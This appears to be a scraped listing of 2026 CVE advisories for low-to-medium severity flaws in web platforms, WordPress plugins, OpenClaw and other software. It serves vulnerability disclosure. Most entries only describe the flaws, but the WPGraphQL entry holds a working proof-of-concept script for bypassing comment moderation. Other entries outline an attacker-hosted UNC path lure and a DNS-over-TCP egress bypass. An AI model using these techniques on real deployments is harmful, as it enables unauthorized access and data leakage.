CVE-2026-32114	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, there is an Insecure Direct Object Reference (IDOR) vulnerability that allows any authenticated user to access metadata about AI personas, features, and LLM models by providing their identifiers. This information includes credit allocations and usage statistics which are not intended to be public. The attack is performed over the network, requires low privileges (any logged-in user), and results in a low impact on confidentiality with no impact on integrity or availability. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. To work around this issue, disable AI plugin or upgrade to a patched version.	4.3	More Details
CVE-2026-33238	WWBN AVideo is an open source video platform. Prior to version 26.0, the `listFiles.json.php` endpoint accepts a `path` POST parameter and passes it directly to `glob()` without restricting the path to an allowed base directory. An authenticated uploader can traverse the entire server filesystem by supplying arbitrary absolute paths, enumerating `.mp4` filenames and their full absolute filesystem paths wherever they exist on the server — including locations outside the web root, such as private or premium media directories. Version 26.0 contains a patch for the issue.	4.3	More Details
CVE-2026-33171	Statamic is a Laravel and Git powered content management system (CMS). Prior to versions 5.73.14 and 6.7.0, authenticated Control Panel users could read arbitrary `.json`, `.yaml`, and `.csv` files from the server by manipulating the file dictionary's `filename` configuration parameter in the fieldtype's endpoint. This has been fixed in 5.73.14 and 6.7.0.	4.3	More Details
CVE-2026-1378	The WP Posts Re-order plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation on the `cpt_plugin_options()` function. This makes it possible for unauthenticated attackers to update the plugin settings including capability, autosort, and adminsort settings, via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	4.3	More Details

CVE-2026-33177	Statamic is a Laravel and Git powered content management system (CMS). Prior to versions 5.73.14 and 6.7.0, low-privileged Control Panel users could create taxonomy terms by submitting requests to the field action processing endpoint with attacker-controlled field definitions. This bypasses the authorization checks enforced on the standard taxonomy term creation endpoint. This has been fixed in 5.73.14 and 6.7.0.	4.3	More Details
CVE-2026-1503	The login_register plugin for WordPress is vulnerable to Cross-Site Request Forgery to Stored Cross-Site Scripting in all versions up to, and including, 1.2.0. This is due to missing nonce validation on the settings page and insufficient input sanitization and output escaping on the 'login_register_login_post' parameter. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page via a forged request granted they can trick an administrator into performing an action such as clicking on a link.	4.3	More Details
CVE-2026-1393	The Add Google Social Profiles to Knowledge Graph Box plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation on the settings update functionality. This makes it possible for unauthenticated attackers to update the plugin's Knowledge Graph settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	4.3	More Details
CVE-2026-1392	The SR WP Minify HTML plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.1. This is due to missing nonce validation on the sr_minify_html_theme() function. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	4.3	More Details
CVE-2026-1390	The Redirect countdown plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation on the `countdown_settings_content()` function. This makes it possible for unauthenticated attackers to update the plugin settings including the countdown timeout, redirect URL, and custom text, via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	4.3	More Details
CVE-2026-2571	The Download Manager plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'reviewUserStatus' function in all versions up to, and including, 3.3.49. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve sensitive information for any user on the site including email addresses, display names, and registration dates.	4.3	More Details
CVE-2026-3331	The Lobot Slider Administrator plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 0.6.0. This is due to missing or incorrect nonce validation on the fourty_slider_options_page function. This makes it possible for unauthenticated attackers to modify plugin slider-page configuration via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	4.3	More Details
CVE-2026-3332	The Xhanch - My Advanced Settings plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.2. This is due to missing nonce validation in the `xms_setting()` function on the settings update handler. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Settings that can be modified include favicon URL, Google Analytics account ID, and various WordPress behavior toggles. The `favicon_url` and `ga_acc_id` values are output on the front-end without escaping, enabling a CSRF to Stored XSS chain.	4.3	More Details
CVE-2026-33290	WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch. ### Details In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state. ### PoC Tested in local wp-env (Docker) with WPGraphQL 2.9.1. 1. Start environment: npm install npm run wp-env start 2. Run this PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if (! $user_id) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post(["post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open",]); $comment_id = wp_insert_comment(["comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0",]); wp_set_current_user($user_id); $result = graphql(["query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => ["id" => (string)$comment_id],]); echo wp_json_encode(["role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"] ["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id]); ' ``` 3. Observe result: - role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1 ### Impact This is an	4.3	More Details

	authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.		
CVE-2026-4453	Integer overflow in Dawn in Google Chrome on Mac prior to 146.0.7680.153 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	4.3	More Details
CVE-2026-33371	An issue was discovered in Zimbra Collaboration (ZCS) 10.0 and 10.1. An XML External Entity (XXE) vulnerability exists in the Zimbra Exchange Web Services (EWS) SOAP interface due to improper handling of XML input. An authenticated attacker can submit crafted XML data that is processed by an XML parser with external entity resolution enabled. Successful exploitation may allow disclosure of sensitive local files from the server.	4.3	More Details
CVE-2026-4557	A vulnerability was detected in code-projects Exam Form Submission 1.0. This impacts an unknown function of the file /admin/update_s1.php. Performing a manipulation of the argument sname results in cross site scripting. The attack may be initiated remotely. The exploit is now public and may be used.	4.3	More Details
CVE-2026-4563	A weakness has been identified in MacCMS up to 2025.1000.4052. This vulnerability affects the function order_info of the file application/index/controller/User.php of the component Member Order Detail Interface. This manipulation of the argument order_id causes authorization bypass. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.	4.3	More Details
CVE-2026-32099	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, when a user has `hide_profile` enabled, their bio, location, and website were still exposed through the user onebox preview. An authenticated user could request a onebox for a hidden user's profile URL and receive their hidden profile fields (bio, location, website) in the response. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	4.3	More Details
CVE-2026-30580	File Thingie 2.5.7 is vulnerable to Directory Traversal. A malicious user can leverage the "create folder from url" functionality of the application to read arbitrary files on the target system.	4.3	More Details
CVE-2026-33003	Jenkins LoadNinja Plugin 2.1 and earlier stores LoadNinja API keys unencrypted in job config.xml files on the Jenkins controller where they can be viewed by users with Item/Extended Read permission or access to the Jenkins controller file system.	4.3	More Details
CVE-2026-27491	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, a type coercion issue in a post actions API endpoint allowed non-staff users to issue warnings to other users. Warnings are a staff-only moderation feature. The vulnerability required the attacker to be a logged-in user and to send a specifically crafted request. No data exposure or privilege escalation beyond the ability to create unauthorized user warnings was possible. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	4.3	More Details
CVE-2026-27978	Next.js is a React framework for building full-stack web applications. Starting in version 16.0.1 and prior to version 16.1.7, `origin: null` was treated as a "missing" origin during Server Action CSRF validation. As a result, requests from opaque contexts (such as sandboxed iframes) could bypass origin verification instead of being validated as cross-origin requests. An attacker could induce a victim browser to submit Server Actions from a sandboxed context, potentially executing state-changing actions with victim credentials (CSRF). This is fixed in version 16.1.7 by treating `'null'` as an explicit origin value and enforcing host/origin checks unless `'null'` is explicitly allowlisted in `experimental.serverActions.allowedOrigins`. If upgrading is not immediately possible, add CSRF tokens for sensitive Server Actions, prefer `SameSite=Strict` on sensitive auth cookies, and/or do not allow `'null'` in `serverActions.allowedOrigins` unless intentionally required and additionally protected.	4.3	More Details
CVE-2026-27895	LDAP Account Manager (LAM) is a webfrontend for managing entries (e.g. users, groups, DHCP settings) stored in an LDAP directory. Prior to version 9.5, the PDF export component does not correctly validate uploaded file extensions. This way any file type (including .php files) can be uploaded. With GHSA-w7xq-vjr3-p9cf, an attacker can achieve remote code execution as the web server user. Version 9.5 fixes the issue. Although upgrading is recommended, a workaround would be to make /var/lib/ldap-account-manager/config read-only for the web-server user.	4.3	More Details
CVE-2026-33393	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, the `allowed_spam_host_domains` check used `String#end_with?` without domain boundary validation, allowing domains like `attacker-example.com` to bypass spam protection when `example.com` was allowlisted. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 require exact match or proper subdomain match (preceded by `.`) to prevent suffix-based bypass of `newuser_spam_host_threshold`. No known workarounds are available.	4.3	More Details
CVE-2026-4628	A flaw was found in Keycloak. An improper Access Control vulnerability in Keycloak’s User-Managed Access (UMA) resource_set endpoint allows attackers with valid credentials to bypass the allowRemoteResourceManagement=false restriction. This occurs due to incomplete enforcement of access control checks on PUT operations to the resource_set endpoint. This issue enables unauthorized modification of protected resources, impacting data integrity.	4.3	More Details
CVE-2026-	The Hytale Modding Wiki is a free service for Hytale mods to host their documentation & wikis. An Insecure Direct Object Reference (IDOR) vulnerability in versions of the wiki prior to 1.0.0 exposes mod authors' personal information - including full names and email addresses - to any authenticated user who visits a mod page. Any	4.3	More Details

32736	user who creates an account can access sensitive author details by simply navigating to a mod's page via its slug. Version 1.0.0 fixes the issue.		Details
CVE-2026-32742	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.17 and 8.6.42, an authenticated user can overwrite server-generated session fields (`sessionToken`, `expiresAt`, `createdWith`) when creating a session object via `POST /classes/_Session`. This allows bypassing the server's session expiration policy by setting an arbitrary far-future expiration date. It also allows setting a predictable session token value. Starting in version 9.6.0-alpha.17 and 8.6.42, the session creation endpoint filters out server-generated fields from user-supplied data, preventing them from being overwritten. As a workaround, add a `beforeSave` trigger on the `_Session` class to validate and reject or strip any user-supplied values for `sessionToken`, `expiresAt`, and `createdWith`.	4.3	More Details
CVE-2026-33004	Jenkins LoadNinja Plugin 2.1 and earlier does not mask LoadNinja API keys displayed on the job configuration form, increasing the potential for attackers to observe and capture them.	4.3	More Details
CVE-2026-4136	The Membership Plugin – Restrict Content plugin for WordPress is vulnerable to Unvalidated Redirect in all versions up to, and including, 3.2.24. This is due to insufficient validation on the redirect url supplied via the 'rcp_redirect' parameter. This makes it possible for unauthenticated attackers to redirect users with the password reset email to potentially malicious sites if they can successfully trick them into performing an action.	4.3	More Details
CVE-2026-31869	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, the ComposerController#mentions endpoint reveals hidden group membership to any authenticated user who can message the group. By supplying allowed_names referencing a hidden-membership group and probing arbitrary usernames, an attacker can infer membership based on whether user_reasons returns "private" for a given user. This bypasses group member-visibility controls. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. To work around this issue, restrict the messageable policy of any hidden-membership group to staff or group members only, so untrusted users cannot reach the vulnerable code path.	4.3	More Details
CVE-2026-33369	Zimbra Collaboration (ZCS) 10.0 and 10.1 contains an LDAP injection vulnerability in the Mailbox SOAP service within a FolderAction operation. The application fails to properly sanitize user-supplied input before incorporating it into an LDAP search filter. An authenticated attacker can exploit this issue by sending a crafted SOAP request that manipulates the LDAP query, allowing retrieval of sensitive directory attributes.	4.3	More Details
CVE-2026-4547	A security vulnerability has been detected in mickasmt next-saas-stripe-starter 1.0.0. Affected is the function generateUserStripe of the file actions/generate-user-stripe.ts of the component Checkout Handler. The manipulation of the argument priceId leads to business logic errors. The attack may be initiated remotely.	4.3	More Details
CVE-2026-32310	Cryptomator encrypts data being stored on cloud infrastructure. From version 1.6.0 to before version 1.19.1, vault configuration is parsed before its integrity is verified, and the masterkeyfile loader uses the unverified keyId as a filesystem path. The loader resolves keyId.getSchemeSpecificPart() directly against the vault path and immediately calls Files.exists(...). This allows a malicious vault config to supply parent-directory escapes, absolute local paths, or UNC paths (e.g., masterkeyfile://attacker/share/masterkey.cryptomator). On Windows, the UNC variant is especially dangerous because Path.resolve("//attacker/share/...") becomes \\attacker\share\..., so the existence check can trigger outbound SMB access before the user even enters a passphrase. This issue has been patched in version 1.19.1.	4.1	More Details
CVE-2026-27166	Discourse is an open source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1 and 2026.1.2, insufficient cleanup in the default Codepen allowed iframes value allows an attacker to trick a user into changing the URL of the main page. This issue has been fixed in versions 2026.3.0-latest.1, 2026.2.1 and 2026.1.2. To workaround this issue, remove Codepen from the list of allowed iframes.	4.1	More Details
CVE-2026-28753	NGINX Plus and NGINX Open Source have a vulnerability in the ngx_mail_smtp_module module due to the improper handling of CRLF sequences in DNS responses. This allows an attacker-controlled DNS server to inject arbitrary headers into SMTP upstream requests, leading to potential request manipulation. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.	3.7	More Details
CVE-2026-33070	FileRise is a self-hosted web file manager / WebDAV server. In versions prior to 3.8.0, a missing-authentication vulnerability in the deleteShareLink endpoint allows any unauthenticated user to delete arbitrary file share links by providing only the share token, causing denial of service to shared file access. The POST /api/file/deleteShareLink.php endpoint calls FileController::deleteShareLink() which performs no authentication, authorization, or CSRF validation before deleting a share link. Any anonymous HTTP client can destroy share links. This issue is fixed in version 3.8.0.	3.7	More Details
CVE-2026-32897	OpenClaw versions prior to 2026.2.22 reuse gateway.auth.token as a fallback hash secret for owner-ID prompt obfuscation when commands.ownerDisplay is set to hash and commands.ownerDisplaySecret is unset, creating dual-use of authentication secrets across security domains. Attackers with access to system prompts sent to third-party model providers can derive the gateway authentication token from the hash outputs, compromising gateway authentication security.	3.7	More Details
CVE-2026-4633	A flaw was found in Keycloak. A remote attacker can exploit differential error messages during the identity-first login flow when Organizations are enabled. This vulnerability allows an attacker to determine the existence of users, leading to information disclosure through user enumeration.	3.7	More Details

CVE-2026-4588	A vulnerability was determined in kalcaddle kodbox 1.64. Impacted is the function shareSafeGroup of the file /workspace/source-code/app/controller/explorer/shareOut.class.php of the component Site-level API key Handler. This manipulation of the argument sk causes use of hard-coded cryptographic key . The attack may be initiated remotely. The complexity of an attack is rather high. The exploitability is considered difficult. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.	3.7	More Details
CVE-2026-4587	A vulnerability was found in HybridAuth up to 3.12.2. This issue affects some unknown processing of the file src/HttpClient/Curl.php of the component SSL Handler. The manipulation of the argument curlOptions results in improper certificate validation. The attack can be launched remotely. This attack is characterized by high complexity. The exploitability is assessed as difficult. The project was informed of the problem early through an issue report but has not responded yet.	3.7	More Details
CVE-2026-31991	OpenClaw versions prior to 2026.2.26 contain an authorization bypass vulnerability where Signal group allowlist policy incorrectly accepts sender identities from DM pairing-store approvals. Attackers can exploit this boundary weakness by obtaining DM pairing approval to bypass group allowlist checks and gain unauthorized group access.	3.7	More Details
CVE-2026-32050	OpenClaw versions prior to 2026.2.25 contain an access control vulnerability in signal reaction notification handling that allows unauthorized senders to enqueue status events before authorization checks are applied. Attackers can exploit the reaction-only event path in event-handler.ts to queue signal reaction status lines for sessions without proper DM or group access validation.	3.7	More Details
CVE-2026-32028	OpenClaw versions prior to 2026.2.25 fail to enforce dmPolicy and allowFrom authorization checks on Discord direct-message reaction notifications, allowing non-allowlisted users to enqueue reaction-derived system events. Attackers can exploit this inconsistency by reacting to bot-authored DM messages to bypass DM authorization restrictions and trigger downstream automation or tool policies.	3.7	More Details
CVE-2026-4115	A vulnerability was detected in PuTTY 0.83. Affected is the function eddsa_verify of the file crypto/ecc-ssh.c of the component Ed25519 Signature Handler. The manipulation results in improper verification of cryptographic signature. The attack may be performed from remote. The attack requires a high level of complexity. The exploitability is told to be difficult. The exploit is now public and may be used. The real existence of this vulnerability is still doubted at the moment. The patch is identified as af996b5ec27ab79bae3882071b9d6acf16044549. It is advisable to implement a patch to correct this issue. The vendor was contacted early, responded in a very professional manner and quickly released a patch for the affected product. However, at the moment there is no proof that this flaw might have any real-world impact.	3.7	More Details
CVE-2026-32067	OpenClaw versions prior to 2026.2.26 contains an authorization bypass vulnerability in the pairing-store access control for direct message pairing policy that allows attackers to reuse pairing approvals across multiple accounts. An attacker approved as a sender in one account can be automatically accepted in another account in multi-account deployments without explicit approval, bypassing authorization boundaries.	3.7	More Details
CVE-2026-32029	OpenClaw versions prior to 2026.2.21 improperly parse the left-most X-Forwarded-For header value when requests originate from configured trusted proxies, allowing attackers to spoof client IP addresses. In proxy chains that append or preserve header values, attackers can inject malicious header content to influence security decisions including authentication rate-limiting and IP-based access controls.	3.7	More Details
CVE-2026-32595	Traefik is an HTTP reverse proxy and load balancer. Versions 2.11.40 and below, 3.0.0-beta1 through 3.6.11, and 3.7.0-ea.1 comtain BasicAuth middleware that allows username enumeration via a timing attack. When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames. This issue is patched in versions 2.11.41, 3.6.11 and 3.7.0-ea.2.	3.7	More Details
CVE-2026-32722	Memray is a memory profiler for Python. Prior to Memray 1.19.2, Memray rendered the command line of the tracked process directly into generated HTML reports without escaping. Because there was no escaping, attacker-controlled command line arguments were inserted as raw HTML into the generated report. This allowed JavaScript execution when a victim opened the generated report in a browser. Version 1.19.2 fixes the issue.	3.6	More Details
CVE-2026-31996	OpenClaw versions prior to 2026.2.19 tools.exec.safeBins contains an input validation bypass vulnerability that allows attackers to execute unintended filesystem operations through sort output flags or recursive grep flags. Attackers with command execution access can leverage sort -o flag for arbitrary file writes or grep -R flag for recursive file reads, circumventing intended stdin-only restrictions.	3.6	More Details
CVE-2026-32018	OpenClaw versions prior to 2026.2.19 contain a race condition vulnerability in concurrent updateRegistry and removeRegistryEntry operations for sandbox containers and browsers. Attackers can exploit unsynchronized read-modify-write operations without locking to cause registry updates to lose data, resurrect removed entries, or corrupt sandbox state affecting list, prune, and recreate operations.	3.6	More Details
CVE-2026-4596	A vulnerability was identified in projectworlds Lawyer Management System 1.0. This issue affects some unknown processing of the file /lawyers.php. The manipulation of the argument first_Name leads to cross site scripting. The attack may be initiated remotely. The exploit is publicly available and might be used.	3.5	More Details
CVE-2026-4626	A vulnerability has been found in projectworlds Lawyer Management System 1.0. This impacts an unknown function of the file /lawyer_booking.php. The manipulation of the argument Description leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.	3.5	More Details

CVE-2026-4495	A security flaw has been discovered in atjiu pybbs 6.0.0. This impacts the function create of the file src/main/java/co/yiiu/pybbs/controller/api/CommentApiController.java. The manipulation results in cross site scripting. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks.	3.5	More Details
CVE-2026-4494	A vulnerability was identified in atjiu pybbs 6.0.0. This affects the function create of the file src/main/java/co/yiiu/pybbs/controller/api/TopicApiController.java. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit is publicly available and might be used.	3.5	More Details
CVE-2026-4354	A vulnerability was identified in TRENDnet TEW-824DRU 1.010B01/1.04B01. The impacted element is the function sub_420A78 of the file apply_sec.cgi of the component Web Interface. Such manipulation of the argument Language leads to cross site scripting. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.	3.5	More Details
CVE-2026-4355	A vulnerability was detected in Portabilis i-Educar 2.11. This impacts an unknown function of the file /intranet/educar_servidor_curso_lst.php of the component Endpoint. Performing a manipulation of the argument Name results in cross site scripting. The attack may be initiated remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	3.5	More Details
CVE-2026-33422	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, the `ip_address` of a flagged user is exposed to any user who can access the review queue, including users who should not be able to see IP addresses. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	3.5	More Details
CVE-2026-33426	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, users with tag-editing permissions could edit and create synonyms for tags hidden in restricted tag groups, even if they lacked visibility into those tags. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	3.5	More Details
CVE-2026-4539	A security flaw has been discovered in pygments up to 2.19.2. The impacted element is the function AdlLexer of the file pygments/lexers/archetype.py. The manipulation results in inefficient regular expression complexity. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.	3.3	More Details
CVE-2026-32020	OpenClaw versions prior to 2026.2.22 contain a path traversal vulnerability in the static file handler that follows symbolic links, allowing out-of-root file reads. Attackers can place symlinks under the Control UI root directory to bypass directory confinement checks and read arbitrary files outside the intended root.	3.3	More Details
CVE-2026-4477	A vulnerability was determined in Yi Technology YI Home Camera 2 2.1.1_20171024151200. This affects an unknown function of the component WPA/WPS. Executing a manipulation can lead to use of hard-coded cryptographic key . The attack can only be done within the local network. This attack is characterized by high complexity. The exploitability is reported as difficult. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.	3.1	More Details
CVE-2026-32943	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.28 and 8.6.48, the password reset mechanism does not enforce single-use guarantees for reset tokens. When a user requests a password reset, the generated token can be consumed by multiple concurrent requests within a short time window. An attacker who has intercepted a password reset token can race the legitimate user's password reset request, causing both requests to succeed. This may result in the legitimate user believing their password was changed successfully while the attacker's password takes effect instead. All Parse Server deployments that use the password reset feature are affected. Starting in versions 9.6.0-alpha.28 and 8.6.48, the password reset token is now atomically validated and consumed as part of the password update operation. The database query that updates the password includes the reset token as a condition, ensuring that only one concurrent request can successfully consume the token. Subsequent requests using the same token will fail because the token has already been cleared. There is no known workaround other than upgrading.	3.1	More Details
CVE-2026-4584	A flaw has been found in Shenzhen HCC Technology MPOS M6 PLUS 1V.31-N. This affects an unknown part of the component Cardholder Data Handler. Executing a manipulation can lead to cleartext transmission of sensitive information. The attack requires access to the local network. The attack requires a high level of complexity. It is indicated that the exploitability is difficult. The vendor was contacted early about this disclosure but did not respond in any way.	3.1	More Details
CVE-2026-27524	OpenClaw versions prior to 2026.2.21 accept prototype-reserved keys in runtime /debug set override object values, allowing prototype pollution attacks. Authorized /debug set callers can inject __proto__, constructor, or prototype keys to manipulate object prototypes and bypass command gate restrictions.	3.1	More Details
CVE-2026-4549	A flaw has been found in mickasmt next-saas-stripe-starter 1.0.0. Affected by this issue is the function openCustomerPortal of the file actions/open-customer-portal.ts of the component Stripe API. This manipulation causes authorization bypass. Remote exploitation of the attack is possible. The complexity of an attack is rather high. The exploitation is known to be difficult.	3.1	More Details
CVE-2026-	OpenClaw versions prior to 2026.2.26 contain an authorization bypass vulnerability where DM pairing-store identities are incorrectly treated as group allowlist identities when dmPolicy=pairing and groupPolicy=allowlist.	3.1	More

2026-32006	Remote attackers can send messages and reactions as DM-paired identities without explicit groupAllowFrom membership to bypass group sender authorization checks.	3.1	Details
CVE-2026-4590	A security flaw has been discovered in kalcaddle kodbox 1.64. The impacted element is an unknown function of the file /workspace/source-code/plugins/oauth/controller/bind/index.class.php of the component loginSubmit API. Performing a manipulation of the argument third results in cross-site request forgery. Remote exploitation of the attack is possible. A high degree of complexity is needed for the attack. The exploitability is regarded as difficult. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.	3.1	More Details
CVE-2026-33394	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, the Post Edits admin report (/admin/reports/post_edits) leaked the first 40 characters of raw post content from private messages and secure categories to moderators who shouldn't have access. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	2.7	More Details
CVE-2026-32638	StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.4.4, the REST API `getUsers` endpoint in StudioCMS uses the attacker-controlled `rank` query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request `rank=owner` and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent `getUser` endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface. Version 0.4.4 fixes the issue.	2.7	More Details
CVE-2026-32946	Harden-Runner is a CI/CD security agent that works like an EDR for GitHub Actions runners. In versions 2.15.1 and below, the Harden-Runner that allows bypass of the egress-policy: block network restriction using DNS queries over TCP. Egress policies are enforced on GitHub runners by filtering outbound connections at the network layer. When egress-policy: block is enabled with a restrictive allowed-endpoints list (e.g., only github.com:443), all non-compliant traffic should be denied. However, DNS queries over TCP, commonly used for large responses or fallback from UDP, are not adequately restricted. Tools like dig can explicitly initiate TCP-based DNS queries (+tcp flag) without being blocked. This vulnerability requires the attacker to already have code execution capabilities within the GitHub Actions workflow. The issue has been fixed in version 2.16.0.	2.7	More Details
CVE-2026-3339	The Keep Backup Daily plugin for WordPress is vulnerable to Limited Path Traversal in all versions up to, and including, 2.1.1 via the `kbd_open_upload_dir` AJAX action. This is due to insufficient validation of the `kbd_path` parameter, which is only sanitized with `sanitize_text_field()` - a function that does not strip path traversal sequences. This makes it possible for authenticated attackers, with Administrator-level access and above, to list the contents of arbitrary directories on the server outside of the intended uploads directory.	2.7	More Details
CVE-2026-29104	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, SuiteCRM contains an authenticated arbitrary file upload vulnerability in the Configurator module. An authenticated administrator can bypass intended file type restrictions when uploading PDF font files, allowing arbitrary files with attacker-controlled filenames to be written to the server. Although the upload directory is not directly web-accessible by default, this behavior breaks security boundaries and may enable further attacks when combined with other vulnerabilities or in certain deployment configurations. Versions 7.15.1 and 8.9.3 patch the issue.	2.7	More Details
CVE-2026-22735	Spring MVC and WebFlux applications are vulnerable to stream corruption when using Server-Sent Events (SSE). This issue affects Spring Foundation: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.	2.6	More Details
CVE-2026-32058	OpenClaw versions prior to 2026.2.26 contain an approval context-binding weakness in system.run execution flows with host=node that allows reuse of previously approved requests with modified environment variables. Attackers with access to an approval id can exploit this by reusing an approval with changed env input, bypassing execution-integrity controls in approval-enabled workflows.	2.6	More Details
CVE-2026-4541	A flaw has been found in janmojzis tinyssh up to 20250501. Impacted is an unknown function of the file tinyssh/crypto_sign_ed25519_tinyssh.c of the component Ed25519 Signature Handler. This manipulation causes improper verification of cryptographic signature. The attack is restricted to local execution. The attack's complexity is rated as high. The exploitability is considered difficult. The exploit has been published and may be used. Upgrading to version 20260301 is recommended to address this issue. Patch name: 9c87269607e0d7d20174df742accc49c042cff17. Upgrading the affected component is recommended. If you want to get best quality of vulnerability data, you may have to visit VulDB.	2.5	More Details
CVE-2026-4578	A vulnerability was determined in code-projects Exam Form Submission 1.0. The impacted element is an unknown function of the file /admin/update_s3.php. Executing a manipulation of the argument sname can lead to cross site scripting. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.	2.4	More Details
CVE-2026-4616	A security flaw has been discovered in bolo-blog 2.6.4. The affected element is an unknown function of the file /console/article/ of the component Article Title Handler. Performing a manipulation of the argument articleTitle results in cross site scripting. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.	2.4	More Details
CVE-2026-4577	A vulnerability was found in code-projects Exam Form Submission 1.0. The affected element is an unknown function of the file /admin/update_s4.php. Performing a manipulation of the argument sname results in cross site scripting. The attack may be initiated remotely. The exploit has been made public and could be used.	2.4	More Details

